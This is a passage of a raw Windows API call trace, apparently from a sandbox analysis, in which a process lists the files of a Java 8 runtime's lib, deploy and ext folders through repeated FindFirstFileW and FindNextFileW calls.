ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0216.524] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0216.524] GetProcessHeap () returned 0xc10000 [0216.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0216.524] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0216.525] GetProcessHeap () returned 0xc10000 [0216.525] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="MED1E1~1.PRO")) returned 1 [0216.533] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1 [0216.534] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 0 [0216.534] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0216.535] GetProcessHeap () returned 0xc10000 [0216.535] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0216.535] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0216.535] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0216.535] GetProcessHeap () returned 0xc10000 [0216.535] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0216.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x0, dwReserved1=0x0, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0216.541] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0216.542] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nashorn.jar", cAlternateFileName="")) returned 1 [0216.542] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0216.542] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0216.542] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0216.542] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0216.542] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: 